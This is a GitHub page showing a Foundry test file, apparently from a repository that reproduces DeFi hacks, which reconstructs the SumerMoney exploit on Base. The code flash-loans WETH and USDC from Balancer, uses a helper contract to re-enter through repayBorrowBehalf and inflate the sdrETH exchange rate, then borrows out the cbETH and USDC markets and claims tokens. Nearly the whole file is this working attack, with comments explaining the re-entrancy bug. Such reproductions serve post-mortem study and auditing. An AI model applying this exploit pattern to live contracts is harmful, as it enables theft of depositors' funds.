-
Notifications
You must be signed in to change notification settings - Fork 1.2k
/
SumerMoney_exp.sol
143 lines (118 loc) · 5.44 KB
/
SumerMoney_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;
import "forge-std/Test.sol";
import "./../interface.sol";
// @KeyInfo - Total Lost : 350K
// Attacker : /address/https://basescan.org/address/0xbb344544ad328b5492397e967fe81737855e7e77
// Attack Contract : /address/https://basescan.org/address/0x13d27a2d66ea33a4bc581d5fefb0b2a8defe9fe7
// Vulnerable Contract : /address/https://basescan.org/address/0x23811c17bac40500decd5fb92d4feb972ae1e607
// Attack Tx : /tx/https://basescan.org/tx/0x619c44af9fedb8f5feea2dcae1da94b6d7e5e0e7f4f4a99352b6c4f5e43a4661
// @Info
// Vulnerable Contract Code : /address/https://basescan.org/address/0x23811c17bac40500decd5fb92d4feb972ae1e607#code
// @Analysis
// Post-mortem :
// Twitter Guy : https://twitter.com/0xNickLFranklin/status/1778986926705672698
// Hacking God :
interface IClaimer {
function claim(
uint256[] calldata tokenIds
) external;
}
contract SumerMoney is Test {
uint256 blocknumToForkFrom = 13_076_768;
IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
IWETH WETH = IWETH(payable(address(0x4200000000000000000000000000000000000006)));
IERC20 USDC = IERC20(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913);
IERC20 cbETH = IERC20(0x2Ae3F1Ec7F1F5012CFEab0185bfc7aa3cf0DEc22);
crETH sdrETH = crETH(payable(address(0x7b5969bB51fa3B002579D7ee41A454AC691716DC)));
ICErc20Delegate sdrUSDC = ICErc20Delegate(0x142017b52c99d3dFe55E49d79Df0bAF7F4478c0c);
ICErc20Delegate sdrcbETH = ICErc20Delegate(0x6345aF6dA3EBd9DF468e37B473128Fd3079C4a4b);
IClaimer claimer = IClaimer(0x549D0CdC753601fbE29f9DE186868429a8558E07);
Helper helper;
function setUp() public {
vm.label(address(Balancer), "Balancer");
vm.label(address(WETH), "WETH");
vm.label(address(USDC), "USDC");
vm.label(address(cbETH), "cbETH");
vm.label(address(sdrETH), "sdrETH");
vm.label(address(sdrUSDC), "sdrUSDC");
vm.label(address(sdrcbETH), "sdrcbETH");
vm.label(address(claimer), "claimer");
vm.createSelectFork("Base", blocknumToForkFrom);
}
function testExploit() public {
deal(address(this), 1);
address[] memory tokens = new address[](2);
tokens[0] = address(WETH);
tokens[1] = address(USDC);
uint256[] memory amounts = new uint256[](2);
amounts[0] = 150 ether;
amounts[1] = 645_000 * 1e6;
bytes memory userData = "";
Balancer.flashLoan(address(this), tokens, amounts, userData);
emit log_named_decimal_uint("Attacker USDC Balance After exploit", USDC.balanceOf(address(this)), 6);
emit log_named_decimal_uint("Attacker cbETH Balance After exploit", cbETH.balanceOf(address(this)), 18);
}
function receiveFlashLoan(
address[] memory tokens,
uint256[] memory amounts,
uint256[] memory feeAmounts,
bytes memory userData
) external {
WETH.withdraw(amounts[0]);
// sdrETH.exchangeRate
emit log_named_decimal_uint("Before re-enter, sdrETH exchangeRate", sdrETH.exchangeRateCurrent(), 18);
sdrETH.mint{value: amounts[0]}();
helper = new Helper{value: 1}();
USDC.transfer(address(helper), amounts[1]);
helper.borrow(amounts[1]);
WETH.deposit{value: amounts[0]}();
WETH.transfer(address(Balancer), amounts[0]);
USDC.transfer(address(Balancer), amounts[1]);
}
function attack() external {
// exchangeRate == getCashPrior() + totalBorrows - totalReserves / totalSupply
// In function repayBorrowBehalf(), getCashPrior() increase 150 ether but totalBorrows not decreased due to re-enter
emit log_named_decimal_uint("In re-enter, sdrETH exchangeRate", sdrETH.exchangeRateCurrent(), 18);
sdrcbETH.borrow(cbETH.balanceOf(address(sdrcbETH)));
sdrUSDC.borrow(USDC.balanceOf(address(sdrUSDC)) - 645_000 * 1e6);
sdrETH.redeemUnderlying(150 ether);
uint256[] memory tokenIds = new uint256[](2);
tokenIds[0] = 309;
tokenIds[1] = 310;
claimer.claim(tokenIds);
}
receive() external payable {}
}
contract Helper {
address owner;
IWETH WETH = IWETH(payable(address(0x4200000000000000000000000000000000000006)));
IERC20 USDC = IERC20(0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913);
IERC20 cbETH = IERC20(0x2Ae3F1Ec7F1F5012CFEab0185bfc7aa3cf0DEc22);
crETH sdrETH = crETH(payable(address(0x7b5969bB51fa3B002579D7ee41A454AC691716DC)));
ICErc20Delegate sdrUSDC = ICErc20Delegate(0x142017b52c99d3dFe55E49d79Df0bAF7F4478c0c);
ICErc20Delegate sdrcbETH = ICErc20Delegate(0x6345aF6dA3EBd9DF468e37B473128Fd3079C4a4b);
IClaimer claimer = IClaimer(0x549D0CdC753601fbE29f9DE186868429a8558E07);
constructor() payable {
owner = msg.sender;
}
function borrow(
uint256 amount
) external {
USDC.approve(address(sdrUSDC), amount);
sdrUSDC.mint(amount);
uint256 borrowAmount = address(sdrETH).balance;
sdrETH.borrow(borrowAmount);
sdrETH.repayBorrowBehalf{value: borrowAmount + 1}(address(this)); // reentrancy
sdrUSDC.redeem(sdrUSDC.balanceOf(address(this)));
uint256[] memory tokenIds = new uint256[](1);
tokenIds[0] = 311;
claimer.claim(tokenIds);
USDC.transfer(owner, USDC.balanceOf(address(this)));
}
receive() external payable {
if (msg.value == 1) {
owner.call(abi.encodeWithSignature("attack()"));
}
}
}